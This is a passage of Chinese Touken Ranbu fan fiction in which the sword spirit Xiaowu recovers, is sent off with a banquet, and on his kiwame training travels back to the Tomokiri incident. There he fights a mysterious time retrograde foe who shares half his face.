小乌原本红色的发梢褪色了,有的地方甚至已经完全变成了黑色,但是因为各处褪色的程度不同,显得有些参差不齐,像只潦草的杂毛小狗,好在还有那一张脸顶着,不难看,只是看起来有点怪。 “是的!” 小乌的笑容变得明朗起来,显而易见的开心。 他的食指绕起一簇头发展示给【膝丸】看:“工作人员说,这些红色都是本体上锈迹的反应,锈迹被消除掉,自然就消失,褪回原本的黑色了。” 他的出阵服也是,从黑红色逐渐开始转变为与他本体呼应的黑金色。 所以说他身上的红色其实象征着他爬满锈迹的本体。 【膝丸】恍然大悟,那些颜色确实第一眼看过去就能让人联想到锈迹的颜色。 听到小乌也在恢复,他的心也放下了,笑着恭喜他。 两刃刀对话逐渐自然,聊了一阵,【膝丸】也就告辞了。 看到【膝丸】那边过得还不错,小乌心里可高兴了,告别后哼着不成调的小曲又回了继续做臭棋篓子。 然后被赶出去了。 长辈们已经不对他的下棋天赋抱有期望。 小乌: 小乌笑着被赶走了。 好耶不用下棋了! 时光悄悄地往前走,工作人员也告知了一个好消息——小乌的本体修复工作已经大体修复完成了! 这代表着小乌终于可以摘下那副几乎不离手的手套了。 手脚的皮肤重新长出,恢复光洁,也不用在脖子上缠满绷带,只需要绕两圈遮住细细的刀疤便足够了,甚至可以穿一些领口更加宽松的衣服。 表面上看更加明显的变化就是头发,暗红色的发梢完全褪去,露出了乌黑的发色。 不过这一点小乌是很遗憾的,无痛挑染发色没有了,如果不是和锈迹挂钩,他真的觉得这种发色很酷! 小乌得到修复完成的消息,嘴角一整天都没有降下来过,他换了衣服,露出双手和小腿,让大家都能看到他完好健全的手脚。 也正是因为小乌的这个举动,让他本体修复的消息像插上了翅膀迅速传遍了本丸。 大家知道这个消息后也高兴极了。 不知是谁先提义的,很快便得到全体刃员的一致同意——要为小乌举办一场热闹的宴会! 不仅是为了庆祝小乌的康复,也是一个送行宴——小乌的本体修复,耶意味着他应该开始极化修行了。 虽然很匆忙,但是小乌的情况需要尽早修行。 当晚,宴会在本丸最大的庭院宗举行。灯笼高挂,美食琳琅满目,刀剑付丧神们聚在一起,气氛热闹非凡。 作为宴会的主角,小乌被大家簇拥在中间,一个个送上祝福,小乌被围得晕乎乎的,连什么时候被塞了半杯酒都没注意到。 酒精对于滴酒不沾的小乌威力还是很大的,没过多久小乌就开始脸颊发烫,脑袋变得晕乎乎的,看东西都有些重影,但情绪是愈发的高涨,傻乐傻乐的。 小乌半杯酒就开始醉了,但还有很多付丧神们才刚开始,他们甚至不要酒杯,直接抱着酒坛灌。 髭切也抱着一个酒罐子豪饮拼酒,膝丸坐在他旁边一边布菜一边担忧地劝阻:“兄长,慢点喝,别喝太多啊!” “阿尼甲!” 熟悉的称呼和语气。 晕乎乎的小乌听到声音回头,脸上醉意朦胧,他的意识仿佛又回到了当初在E923本丸时,把这一声认作是小膝丸在喊他,软软地,带着点黏糊的鼻音回应:“诶!” 喧嚣的宴会席上安静了一瞬。 “诶?” 刚刚小膝丸的声音是不是太成熟了一点? 小乌那被酒精麻痹的大脑延迟了几秒,才开始琢磨出哪里不太对。 哦那个小可爱膝丸好像早就被修好了来着。 那刚刚那是? 膝丸劝酒的目的以其他方式被小乌实现了。 髭切放下了酒坛看向应声的小乌,膝丸愣了一下,还没反应过来刚刚是谁在应他,髭切看向了小乌之后才明白刚刚应他那声“阿尼甲”的居然是小乌! 小乌抬眼就看到髭切和膝丸盯着他看。 啊,是本灵的膝丸在叫他不,是在叫髭切。 诶我诶什么诶啊! 醉意直接被吓飞了大半,冷汗唰地一下就冒了出来。 第60章 第六十章 请让我去极化修行! 小乌:。 闯祸了。 膝丸一个拳头就挨上了小乌的脑袋, 咬牙切齿地钻着他的头:“你!在!应什么!” “给我清醒一点!” “痛、痛!我错了!” 脑袋都要被凿穿了。 小乌在座位上扭两下,为了逃离膝丸的钻头攻击,捂着头像流体的猫一样从座椅上流下来跪在地上, 弯腰, 额头和双手掌心紧紧贴着地面, 士下作赔罪:“对不起!请原谅我的失礼!” 髭切:0v0 只要我滑跪得够快! 就还会被大家嘲笑。 周围的刃们发出哄笑声,鹤丸国永笑得直不起腰,趴在地上捶地:“哈哈哈哈哈!真是吓到我了,你这么想当哥哥吗?” “鹤先生, 地上很脏的。” 烛台切光忠提溜着他的后领拎起来。 “哎呀呀。” 髭切看着膝丸教训小乌的场景,感叹到:“生气丸和醉酒丸都很有活力呢, 嗯是要玩让生气丸扮演弟弟的游戏吗?好像也不错, 交换身份的游戏很有意思的样子,我也想玩~” 都乱成一锅粥了就趁热喝了吧。 他摸摸下巴,补充:“扮演妹妹也可以” “不可以啊!!!” 膝丸连忙吼一声,但是发现自己吼了髭切后气又虚了下来:“不我没有吼兄长的意思,就是,那个” 不要玩这种游戏啊! 也不要火上浇油! 阿尼甲, 不要再添乱了! 膝丸用眼神威逼小乌:你敢答应兄长那种不着调的提议就死定了! 小乌:我哪敢啊! 为什么膝丸会觉得他会答应啊? 他在膝丸眼里到底是个什么形象?! “诶——明明很有趣~” 髭切踱步过来, 掐着小乌咯吱窝举起来转圈圈:“啊哈哈,好小的黑丸~” “啊啊啊啊!” 小乌上半身被髭切卡着, 下半身随着重力和惯性自由飞翔, 没几圈就被转晕了, 冒出圈圈眼。 膝丸慌乱地在旁边挥舞着双手, 不知道该按住看起来已经酒劲上头的髭切还是先把小乌接下来。 “啊啊!兄长!小乌!” 好几个人上前合力把小乌解救下来,髭切被膝丸扶到一边去重新坐着。 小乌:“大家在围着我转” 今剑手上沾了点冷水拍拍小乌t?的额头,试图让他好受点:“真是的, 突然这样子抱着人转圈会受不了的啦!” “今天小乌可是主角哦!” “今剑” 好一些的小乌感动地握住今剑的手。 今剑把他扶做起来,红宝石一样的眼睛深深地看了一眼,内含的情绪有些复杂:“小乌马上要去修行了呢,修行中可能会遇到很多不可思议的事情,会得知一些让人无法接受的真相但是一定要记得我们都等着你回来哦!” 他回想自己当年的修行之旅,他是不存在实体,只存在于逸话的刀,极化修行失败,他的本体刀也会构解失败,导致崩坏。回来之后他才后知后觉地开始害怕,害怕如果他再也回不来、消失了,岩融还有三条派的家人们会有多么难过。 所以,一定要回来啊! 今剑:“小乌殿已经决定好什么时候去修行了吗?” “” “什么?” 但是小乌的反应好像不太对。 他一脸迷茫,不知道今剑口中指的“修行”是什么。 今剑迷茫地回望:“诶?” 什么什么? 小乌:“什么修行?我吗?我要去修行吗?!” 小乌的声音越来越大。 什么情况?小乌不知道自己要去修行吗? 今剑:“?对哦,今晚是你的送行宴哦。” 今剑回头看向众刃。 大多数刃和他同样迷惑。 只有少数刃的表情凝固了。 小乌看了一眼大家的反应,问:“不是庆祝我本体修复吗?” “是的,但也是送行宴,大家都想在你去修行之前为你送行呢。” 所以,只有要去修行的本刃不知道自己要去修行了?! “!” 髭切突然坐直,看向膝丸求证:“我没说吗?” 膝丸:“” 膝丸:“好像是没有,不过我也有错,我也没和小乌说过,我以为小乌丸殿会和小乌说” 兄弟俩看向小乌丸。 小乌丸的表情也是相当惊讶,有点绷不住了:“为父也没有说,吾以为子代会告诉他。” 小乌丸又看向了鹤丸国永。 鹤丸国永整天叽叽喳喳,没道理不会跟小乌聊这个啊? 鹤丸国永:“?” 鹤丸国永:“” 啊?不是? 他也以为他们已经和小乌提过了啊!不是你们先主张要送小乌去修行的吗?! 他一直以为小乌知道。 这锅他可不背啊! 源氏兄弟、小乌丸还有鹤丸国永之间形成了一个三角,互相看来看去,眼神交流。 他们发现居然没有一个刃和小乌提过他要去极化修行的事情! 说到底,没决定好谁去通知小乌,所以才导致小乌对此事一无所知,所以他们都有责任。 怎会如此?! 那还修行吗? 或者说。 这么突然,小乌能准备好吗? 那么现在谁去说? 髭切、膝丸还有小乌丸非常又默契地看向了鹤丸国永。 就决定是你了皮卡鹤! 鹤丸国永:你们、你们合起来坑我! 好吧好吧,鹤丸国永悲伤地接下了。 他清清嗓引小乌看过来:“咳咳,是极化修行,对于我们来说非常重要,也能变得更强,让实力获得质的提升。” 小乌听到能变强后精神了:“那不是很好嘛!我要去!” 极化修行,他懂,就是要回到对自己来说非常重要的节点回顾历史嘛。 啊 小乌迟疑起来。 那他该回到哪段历史呢?友切事件的那一晚吗?还是坛之浦之战?还是其他? 如果是坛之浦之战,他之前已经经历过一次了,似乎也就那样? 嗯果然还是友切事件的那一晚更有可能。 小乌这边开始发散到修行地点,鹤丸国永接下来的解释让小乌打破了原本对极化修行的印象,让他知道了这次修行的凶险程度。 并且额外知道了一些他不知道的事情。 鹤丸国永告诉他,他的身份和记忆可能有些问题。 这也是他为什么一直都很虚弱的原因,所以他必须要去修行,找到自我,完善自我。 “我我的身份有问题?” 小乌难以置信,他的记忆有问题,他是知道的。 但是身份?身份能有什么问题? 如果身份有问题,那他又是谁? “是的。事实上,大家的记忆中并没有你的存在。”鹤丸国永指了指自己的太阳穴,“你和我的那振分灵相遇的时候,那个‘我’没有认出你,对吧?” “但并不是没有认出你,而是记忆中不存在‘小乌’这一把刀。” “后来说好像有些印象是在遇到你、听你提起过后,才突然出现了关于你的一些记忆。” 小乌有些听不懂了:“什么意思?你们关于我的记忆都是假的吗?” “那!”小乌丸? 他和小乌丸交流过,双方都曾经提起过他被小乌丸在平家家主手下被救下的事。 这也是假的吗? 小乌看向小乌丸,小乌丸明白了他的意思,阖眼点头。 “我不明白。” 为什么记忆还有假的? 小乌用力抓了抓头发,头皮被指甲不小心刮得刺痛。 鹤丸国永:“这就是你要在修行中寻找的答案了。” 鹤丸国永看着他焦虑的表现,神情有些不忍。 “要靠你自己来寻找。” 你是谁呢? 我是谁? 虽然得知自己要去极化修行的过程比较戏剧性,但是小乌在把自己关在房间消化了几天后,还是做好了心理准备。 无论他的身份是什么,无论过去的记忆是真是假,他想要变强!他渴望自己变得强大!强大到能够从被保护者变成保护者,强大到能过成为其他刀剑付丧神的保护伞。 这一段时间,大家一直都有在尽心尽力地教导他,虽然他知道的晚了点但是本事他是实打实地学了的。 还有什么要准备的吗? 似乎也没有了。 他想要堂堂正正地站在同类的身边! “请安排我极化修行!” 出发的日子到了,本丸的空地上,近两百振刀剑付丧神齐聚一堂,场面也是颇为壮观。 大家都是来为小乌送行的。 “再见小乌殿!” “一定要平安回来啊!” “我们都都在本丸等你!” “咔咔咔!祝您修行顺利!” “路上小心!” 在一片祝福声中,髭切和膝丸对视一眼,一同走上前。 髭切取出一个靛蓝色的御守交给他。 “如果在修行中感到迷茫,不知道该做些什么,那就打开它吧,它会为你指引方向。” 这是髭切给它的第二个御守了。 第一个御守给予了他生的希望,第二个御守将指引他方向。 小乌凝视着御守,感慨万千。 他珍重地接过御守,和先前的那一个一同安放在胸口的暗袋中。 “我知道了,谢谢!” 髭切没有再多言,只是笑着张开手臂,将小乌拥入怀中。 小乌猝不及防地撞入髭切的怀抱中,埋在他的胸膛处,鼻尖是淡淡甜甜的花香,耳边是沉稳的心跳。 扑通、扑通。 他的耳尖骤然变红。 “髭、髭” 髭切:“在外面不要迷路了哦。” 髭切很快就松开了他,眼眸弯弯。 轮到膝丸,比起髭切他更不善于表达,说不出什么煽情的话,只是效仿兄长,用力地抱了抱小乌,手掌在他的后背拍了两下。 “要好好地回来啊。” “是!” 接着是小乌丸和鹤丸国永,他们同样也选择拥抱。 告完别,小乌红着耳朵环视了一圈,展颜一笑,朝他们用力地挥手作最后的告别。 “我出发啦!” 小乌不再留恋,披上披风,带上斗笠,转身示意工作人员启动装置。 工作人员依言开启了装置,代表传送的光芒逐渐刺目,小乌的身影在光芒中逐渐消失。 小乌丸和鹤丸国永并肩站着,无言地看着光芒中逐渐消失的背影。 小乌丸静立在原地,鸦羽般的眼睫微垂,他在想,小乌发现他们之间或许实际上不曾有过交集后,所谓的救命之恩从未发生过,这孩子还会对他如此亲近吗? 不过,再怎样都是他的孩子,只要回来了,他们有的是时间能够共同编织未来。 鹤丸国永眼中的光彩黯淡了几分。 千年的时光,辗转于多位主人的他早已习惯见证离别,但这并不代表他不会难过。 “鹤先生” 藏蓝色的小短刀抱住鹤丸国永的腰。 同时,两只肤色不同的手搭上了他的肩膀。 左边是烛台切光忠。 “鹤先生。” 右边是大俱利伽罗。 他没有说话,只是在t?他肩上按了按。 伊达组的伙伴们很好地安慰到了鹤丸国永,他拍了拍脸颊,重新恢复了活泼的模样,然后反手将他们一把揽住:“谢谢!等小乌回来了,我一定要准备一个超——大的惊喜!” “狠狠地吓他一大跳!” 传送的光芒消失了,小乌此时站在了平安京的入口。 他看了一眼时之政府给用来回归的仪器,上面显示的时间是—— 长承三年,友切事件发生的前夕。《 》 60-66 第61章 第六十一章 这个时间溯行军的半张脸长…… 果然。 小乌对这个时间点丝毫不意外。 参考其他刀剑付丧神的修行经历, 他现在的目标再明确不过:见证友切事件。 首先找到源氏的的府邸吧。 明明是在源氏诞生的刀剑,却连源氏的府邸在哪都不知道呢,真是讽刺。 小乌自嘲地想着, 抬手压低了斗笠, 遮住自己非人的特征。 据说平安时代妖魔横行, 阴阳师一派强盛,他可不想引起阴阳师的注意被当成妖怪除掉了。 他向路边的平民打听位置,一路摸索着前行,最终悄无声息地潜入了源氏府中。 东躲西藏好一阵, 才凭借着仆人们的交谈内容找到了存放着髭切的刀室。 这个时间点,“我”肯定是跟髭切放在一起的, 找到髭切, 就是找到“我”。 小乌进入刀室的时候,太阳已经快要落山了。 找了一天,肚子也饿了。 小乌左看右看,为了防止有人突然进来发现他,翻身上了房梁,草草擦一擦灰尘后就委委屈屈地缩起身子躲在房梁上掏出干粮啃。 时之政府投放的时间点要太赶了, 一点多余的时间都不给, 就不怕他迷路错过关键时间点吗? 想到接下来要发生的事,小乌食不知味地啃完了干粮。 听听外面的动静, 确认附近没有人, 又跳了下去。 还有一点时间, 先看看这个时代的髭切和“我”吧! 绕过屏风, 两振刀并排陈列。髭切的刀鞘和现世所见的不太相同,加上另一振刀是它的仿刀,小乌在两把相似的刀上仔细端详了片刻后才分清哪把是髭切。 是没有化灵的髭切!不知道这个时候有没有开智, 如果现在和他打招呼,在现世的髭切会突然多出这一段的记忆吗? 好想犯个贱啊 但还是算了,回去受苦的也是自己 再看看“我”。 刃长比髭切长两分,刀鞘锦包黑漆,亮面,带有银纹。 长得也跟现在的自己不太一样,不知道刀刃是怎样的。 小乌解下自己的本体反复比对,乍一看颇为相似,但他的本体明显要朴素很多。 这是我? 最初的“我”看起来这么华贵的吗? 看来在被屏风压断刀尖之前日子过得还是挺不错的。 小乌鬼鬼祟祟地伸出爪子摸了摸刀鞘。 啊~真好看,我也想要好看的刀鞘~ 小乌正想拔出刀刃欣赏一下还是源氏少爷时的“自己”,门外就来了人,只能又躲回房梁。 算了,总归是确认好了两振刀的身份,以后再找机会看。 那么接下来只要等待,等待夜幕的降临。 刚刚进来的人是巡逻的,后续又来了几波巡逻或是保养刀剑的仆从,小乌干脆就一直呆在房梁上不下去了。 时间缓缓流逝,又是一轮检查,夜深了,仆从也开始犯困,打着哈欠退出去,合上门却忘了上锁。 月光从门缝中渗入,在室内的地上印出一条细细的线。 小乌努力压下自己想要把门关好的欲望,闭上眼翻了个身。 不能轻举妄动。 窗外蟋蟀的鸣叫声逐渐被风声和雨声淹没。 “呼——呼——” “沙沙沙。” 风愈来愈大,呼啸声犹如怨鬼的哀嚎,听得人心头发颤,门扉在风中搁置作响,震颤不已。 小乌在黑暗中睁开双眼。 “哐当!” 未上锁的木门终于被吹开,狂风长驱直入,开始冲击正对着门口的屏风。 要来了! 小乌飞身而下,退至屋角,屏息凝神地注视着即将发生的一幕,他此时口干舌燥,掌心与后背沁出冷汗,被风一吹,凉意贯穿全身,颈间的刀疤也开始幻痛,直觉尖啸着要他逃离这里。 真正面对这一刻,小乌才惊觉自己在恐惧,怕到牙齿都在上下打架。 好可怕。 好害怕。 快逃,快逃! 啊啊这就要目睹自己的第一次“死亡”了吗。 但是不能逃避!睁大眼睛看好这一切! 别忘了他来到这里是干什么的! 极化修行果然没有那么容易。 小乌怀疑自己只要动弹一下,双腿就会不由自主地让自己弹射出去,逃离这间屋子。 多么的恐惧。 小乌僵立在阴影处,浑然不觉自己的此刻的脸色有多苍白,目光涣散。 屏风晃动得越来越厉害,小乌却察觉到了不对。 这个气息,是时间溯行军! 小乌缩成针尖大的瞳仁重新放大,眼神重归清明。 为什么会有时间溯行军出现在这里? 从来没有听说过其他本灵有在极化修行中遇到过时间溯行军! 好近,在哪里?目标是什么? 小乌大脑飞速运转,回忆着近期修习的阴阳术,手上迅速结印张开结界,既能阻隔刀室中的声音惊扰到其他人,又能阻止除他以外的任何生物进入。 为了维护历史,绝不能引来外人! 但是张开结界后的小乌并没有松一口气,因为他悚然发现,时间溯行军近在咫尺,早在结界张开时就已经进入了结界范围内,来不及阻止它的进入! “铛!” 一个黑影冲进刀室,小乌来不及拔刀,电光火石之间举起未拔出刀鞘的本体抽向时间溯行军,对方躲过了攻击,但也因此后退几步,被小乌隔开,不得靠近屏风。 小乌在这空挡抽出了本体。 小乌怒喝:“滚!” 刚刚时间溯行军的行动已经表明了它的目标——是屏风,也是小乌身后的两振刀。 这个时间点来这里,是想阻止友切事件的发生吗? 哈,阻止友切发生能改变什么?让“小乌”存活吗?想要拉拢这个时候的他加入时间溯行军,还是要削弱髭切的逸闻呢? 眼前的时间溯行军不像平日里见到的那些奇形怪状的怪物,去除突出的骨刺和青白的皮肤,几乎与人类无异。 头发是黑白两色的,狩衣也是黑白两色,整个人像是被这两种颜色分割成了两半,左脸覆盖着骨质的面具,右脸敞露出的是一张陌生的脸,眼眶里是一片黑洞,手中握着一把太刀。 或许是一把刀或者多把刀的怨念集合而成的时间溯行军。 小乌扫视一番,如此判断。 这种情况时之政府记载过好几类案例,例如足利辉义多把爱刀糅合而成的集合体,又比如一期一振的影打。 维护历史也许就是未来的工作,小乌在修复本体的期间也阅览了许多任务记录以增加自己的知识储备,打基础。 这个时间溯行军是从未见过的类型,他可以尝试获得一些情报带回去。 这究竟是哪把刀所化的呢? 小乌有些迟疑。 太刀、阻止友切事件,还有衣物上的源氏家纹。 这些特征只能想到髭切和他自己。 阻止友切的发生对髭切来说并没有好处,小乌更偏向于这个时间溯行军是其他时间线上的“小乌”。 但是,这张脸? 小乌直视对面的刃,和他们毫无关联,也毫无印象,这让他无法确定这是否是来自其他时间线中的“小乌”的怨念所化成的时间溯行军。 谁啊? 小乌百思不得其解,但现在的情势容不得他慢慢思考。 两刃举刀交战,刀光闪烁间已经不知道过了多少招。 交锋中,小乌发现对方的刀术非常正统,让他觉得很熟悉,但是战斗技巧十分生疏,战斗意识也相当薄弱,全然依靠本能挥刀。 就像是刚刚成为小乌的他一样。 不过会比当时的他好一点。 夜视能力也很符合太刀的特性,远不如他。 因此短短几个回合,这个奇怪的时间溯行军就节节败退,被小乌一步步逼退,远离屏风。 好弱啊。 这么弱怎么敢一个刃来的?不带同伴吗? 面对这个时间溯行军,小乌真是有一肚子的疑问。 这么弱活捉带回去怎么样? 杀了怪可惜的。 小乌觉得这个主意很好,决定给这个时间溯行军留一口气,然后等修行完就打包带走。 嘿嘿,出门修行还带了一个俘虏回来,会被夸奖吗? 在被小乌捅了几个窟窿后,时间溯行军突然停手了。 黑色的泪水从眼眶滑落,它发出模糊的音节t?,缓缓跪坐在地上,弯腰向他暴露出脆弱的背脊和后颈,似乎放弃了挣扎,只要小乌愿意,随时都能取它的性命。 什、什么情况? 小乌目瞪口呆地看着这个时间溯行军坐在地上掩面哭泣,一时不知道该不该动手继续打。 怎么就突然哭起来了? 时间溯行军啜泣着,黑色的泪珠一滴滴落在地上,看起来哭得很伤心。 小乌手足无措,恨不得拿出终端上网搜索:时间溯行军被打哭了该怎么办? 可惜这里没有信号,终端就是块废铁。 要不,借此情况试探一下它的身份和目的? 小乌:“喂、喂!” 他小心地靠近,先用脚尖轻踢试探,见毫无反应,又走近几步,直至立于对方面前。 小乌用刀面拍了拍他捂脸的手,又用刀尖挑起它的下巴。 时间溯行军放下手,用黑洞洞的眼睛抬头望向他。 小乌问:“你是谁?” 先看看能不能说话。 “我是谁” 时间溯行军呆呆地重复。 “我是在问你算了,看你这样子恐怕是真不记得自己是谁。” 小乌又问了几遍,时间溯行军还是只会重复“我是谁”。 小乌放弃,换个问题:“你的目的是什么?想要改变什么?” 时间溯行军毫无反应。 “阻止友切事件的发生?” 时间溯行军头动了两下。 “想削弱髭切的逸闻?” 对方再度陷入沉默。 那么 在下一个问题问出口之前,小乌自己都开始紧张起来。 “你是想阻止里面的那振‘小乌’碎刀吗?” 时间溯行军静默,让小乌差点推翻了自己所有的猜测,但是它又开始点头,点一半,变成摇头。 然后懵懵地看着他:“我是谁?” 这家伙是复读机吗? 小乌郁闷:“点头又摇头是什么意思?” 若只是点头,他就能确认这个时间溯行军很大概率就是其他时间线上的“小乌”,但是又摇头这种模棱两可的反应真是想不通,再次陷入迷雾中。 “你到底”小乌还想再问,身后突然发出巨响。 “轰——!” 身后的屏风终于撑不住了,彻底倒塌。 小乌猛地回头! 只见两振华美的太刀不偏不倚地正被屏风压在底下。 就在他和时间溯行军纠缠的这短短几分钟内,结束了。 “啊啊啊啊!” 小乌的注意力被身后的动静吸引过去,便注意不到时间溯行军在同样看到这一幕时的表情变得有多么狰狞。 他撕心裂肺地吼叫起来,小乌立刻意识到糟糕了,头刚回正,一双手就死死地掐上了他的脖子。 “嗬!嗬嗬咳哈!” 不能呼吸,连声音都很难发出来。 小乌挣扎着扒住它的手,这个力道,再不让他松开怕是会直接被掐死在这里。 缺氧导致小乌的手都在发软,握不住刀,本体掉落在了地上。 可恶! 时间溯行军在歇斯底里地吼叫:“我是谁?我是谁?我是谁?!我是谁?!” 我怎么知道你是谁! 时间溯行军用力到自己的整条手臂都在颤抖,小乌感觉已经不是窒息那么简单了,脖子都可能会被直接折断。 时间溯行军还在哭泣,脸上爬满了黑色的泪痕,它的脸靠近,和小乌面贴面,小乌能察觉到它的目光似乎在打量他的脸。 他话里的主语变了。 “我是谁?!你是谁?!你是谁?!” “是你!是你!” “还、还给我!还给我啊啊啊!” 什么?什么还给你? 小乌眼前就像信号连接不灵通的电视机,开始不规律地闪现出黑点。 给我 小乌拼尽全力握紧拳头,朝对方的脸上挥过去! “把我的名字,还给我!!!” 滚开!!! “砰!” 小乌一拳打在它脸上。 时间溯行军松了手,侧身趴在地上,骨质的面具被小乌一拳打了下来,骨碌骨碌滚落到地上。 小乌捂着脖子剧烈地咳嗽,每一次呼吸都带着火辣辣的刺痛。 能重新呼吸到空气真是太好了。 他贪婪地汲取着重新涌入鼻腔和口腔的空气,眼前因生理性的泪水而模糊。 但危机尚未解除! 他强忍着不适,迅速拾起掉落的本体刀,撑着地面踉跄起身。 差点被憋屈地掐死使他满腔怒火,左手粗暴地抓起时间溯行军散乱的长发,将其从地上提起,怒吼道:“喂!你——嘶!” 戛然而止。 当时间溯行军完整的面容出现在小乌的视野中时,他所有的愤怒和话语都卡在了喉咙里,化为一声响亮的抽气声。 那掩盖在面具下的左脸,竟然竟然长得和他一摸一样! 从下颌开始直至整个面颊,布满了裂纹。 一张脸,仿佛是被两个人拼在一起的。 小乌惊骇之下手一抖,时间溯行军重新趴回了地上。 怎么会怎么会有和他一样的脸?! 这到底是什么怪物?! 一时间,小乌连刃体实验都想到了。 他浑身发冷。 时间溯行军和他相同的半张脸,在告诉他这个时间溯行军与他之间一定存在着某种联系。 也许他就是某个时间线上的“小乌”,也可能是多个时间线的“小乌”的怨念所形成的集合体 真的是这样吗? 那另一张从未见过的脸又是怎么回事? 为什么要对他说把名字还给他? 地上的时间溯行军再次动了起来,他的关节发出令人牙酸的脆响,姿态扭曲,四肢着地,黑洞洞的眼睛怨毒地看着他。 “我我的名字”它嘶哑地低吼,“还给我我、我的名字是什么?我是谁?还给我。” 那可怕的眼神刺得小乌心中一悸,莫名地开始战栗起来,下意识连连后退,然后被脚下的屏风绊倒。 一手抚着胸口,隔着皮肉都能感觉到心脏在狂跳。 好悲伤。 好痛苦。 什么啊?为什么为什么他突然能够感受到时间溯行军的情绪? 是因为他们之间存在联系所以才会产生共情吗? “啊啊啊啊啊啊——!” 时间溯行军崩溃地抓挠着自己的脸、头发,癫狂地重复着那些意义不明的、破碎的词句,转身逃跑。 结界不能进,但不限制出,小乌怔怔地坐在地上看着那个时间溯行军融入外面的狂风暴雨中,消失不见。 握着刀柄的手松了又紧,紧了又松。 到底发生了什么,那个疑似是其他时间线上的“我”才会变成这样? 第62章 第六十二章 极化书信一:新髭切…… 让它跑掉了。 小乌懊恼地捶捶自己的头。 那个时间溯行军实在是太诡异了, 给他一种毛骨悚然的感觉,也无法理解它想表达什么,想做什么。 好在没让它得逞。 小乌深吸一口气强迫自己冷静下来, 看一眼压在屏风下的两振刀, 开始清扫他和时间溯行军打斗的痕迹, 确保不会被后面进来的人察觉到入侵痕迹,这才重新隐匿于房梁上。 这一次,他将本体牢牢地抱在怀里,时刻防备着时间溯行军突然杀个回马枪。 外面雨声渐渐停歇, 天色由墨黑转为灰蓝,远处传来了几声清脆的鸟鸣声。 很快就到人们起床活动的时间了。 前来检查的仆从们见到大开的门扉, 惊呼着小跑进来。当他们看到屋内一片狼藉, 两振宝刀被压在倒塌的屏风下时,脸色瞬间变得惨白。 “快!快抬起来!”仆人们手忙脚乱地合力抬起沉重的屏风,小心翼翼地取出被压在下面的两振太刀。 拔刀出鞘,看到其中一振刀身与刀尖分离,人们几乎要吓得魂飞魄散,几近晕厥。 “断、断了!断了!” 一名仆人面无人色地喊道。 “家主大人的宝刀我们死定了!” 拿十个头都不够砍的! 但此事不可能隐瞒地住, 他们只好如实上报。 源为义闻讯亲自来到了刀室, 面色不渝,显然很生气:“是哪一振断了?” 仆从们跪倒, 额头抵在地上, 声音抖得不成样子:“是新髭切, 大人。” 什么? 小乌怀疑自己是不是耳朵突然不好使了。 谁断了?髭切? 不对!他说的好像是—— “新髭切?” 源为义听到不是鬼切后, 神色明显缓和了几分,他注视着毫发t?无损的鬼切,轻叹一声:“果然, 仿造出来的刀无论如何都不能与正品媲美。” 不是髭切!是新髭切! 等等等等! 新髭切是什么刀?!从来没有听说过! 小乌大脑一片混乱。 断掉的不是他小乌吗?怎么会冒出来个新髭切? 唔不过仔细回想一下,关于他的名字由来也不止一种说法由传说他锻造出来时因为刀身上有形似乌鸦的纹饰而被命名为小乌;也有传说他是被髭切切断后,为了羞辱索要髭切的平氏才被改名为小乌。 根据他仅有的部分记忆,应该是后者。 既然如此,好像又能说得通了,在被切断刀尖前,他理应拥有另外一个名字——一个没有出现过的名字。 所以如果将“新髭切”当作是他最初的名字,似乎也合情合理? 小乌咀嚼着这个名字,心情复杂。 髭切有一句话是怎么说的来着? “刀的名字是要看主人对这个名字有没有什么寄托呢。” 能够被称为新髭切,无疑代表了锻造者和拥有者对于它极高的期望和自信,真是相当令人吃惊。 这个名字对髭切可算不上友好,有一种要以仿品的身份取而代之的意味。 如果没有这一出,也许这振刀剑会有一个光辉的未来。 可惜事情发生就是发生了。 看源为义的反应,怕是已经失望了。 所以才会传出那种传闻并把它送走吧。 要不是小乌知道刀剑在时之政府点化之前无法化作人形自主行动,他都要认为是髭切真的如传闻一样是不满这个仿品才把它切断了呢,哈哈。 正品和仿品之间总是很有说法。 源为义也是这么认为的吧。 源为义确实有了些想法。 他先是叫人把这群仆人拖下去砍了,又叫出了夜巡的负责人。 负责人在人群中被推搡着上前跪下。 负责人瑟瑟发抖。 “最近,平氏越来越猖狂了。” 在失去天皇信任后,平氏开始崛起,打压源氏,最近居然开始明里暗里地觊觎源氏重宝鬼切。 “既然如此,就向平氏送上一份‘大礼’吧。” 源为义看着断掉的新髭切一边思索一边对着一旁的下属说:“说起来膝丸已经离开有一段时间了呢这样,源氏便为了陪伴鬼切,为他打造了一振仿刀。” 下属会意,迅速记下源为义的话。 源为义:“此刀长于鬼切两分。在昨日夜里,鬼切切下了陪伴它的友人多余的两分刀尖,从此鬼切便改名为友切;被切下刀尖的仿刀,便叫作小乌吧。” 小乌,小乌丸,仅有一字之差。 源为义取了这么一个名字,意味不必明说。 唉。 小乌无声地叹了一口气,但却没想到源为义作出了一个他怎么也想不到的举动。 源为义指着新髭切,又说:“至于新髭切先拿去修复吧。去找一把‘小乌’,让这个人送到平氏去。” 他指了指那个跪在地上不敢抬头的负责人。 一旁的下属应声领命,怜悯地看了一眼负责人。 啧啧,送这样的礼去平氏,怕是没办法活着回来了。 诶?诶诶? 什么意思? 小乌不是就在这里吗?为什么还要找一把小乌? 小乌感觉这一天真是魔幻,各种谜团把他脑子都要塞爆了。 他虚弱地扒住旁边的木头,有什么招能不能一次性放出来。 到底是历史出了错还是他的认知和记忆出了错? 没、没事,等一会写信回去报告一下,如果历史有不对的地方,时之政府会做出行动的。 所以这把新髭切到底是不是未来的小乌?! 为什么听源为义的话里意思不像是同一把刀! 源为义的最后一句话,让小乌几天都睡不好觉 新髭切被送走修复,小乌便琢磨着那振“随便找一把”的“小乌”是什么情况。 但比看到“小乌”更快的是从源氏内部逐渐向外传开的流言。 是关于友切的流言。 如后世所传的一样,如源为义当日所说的一样,小乌的存在很快就传开了。 在等待了一个多月,小乌才等到源为义送礼的那一天。 小乌偷偷跟着仆从,趁礼盒还未开始包装,掀开了装着“小乌”的礼盒查看 嗯 小乌回归原位。 还真是随便找了一振普普通通的太刀啊? 里面装的并不是他。 而且敷衍的要命,连专门做个仿造品都没有,直接就是不知道从哪来的陌生太刀。 只要打开一看就知道里面不可能是髭切了。 不过也不可能是小乌。 所以源为义并没有将修复好的新髭切送走吗? 小乌疑惑地看着礼盒被带走,送进了平氏。 那他被平氏家主发现是髭切的仿品小乌,差点被折断的记忆是什么? 小乌摸进平氏的宅邸,暗中看了献礼的全过程。 平氏家主明显是已经听闻了关于小乌的传闻,对代表源氏前来献礼的仆从没有一点好脸色。 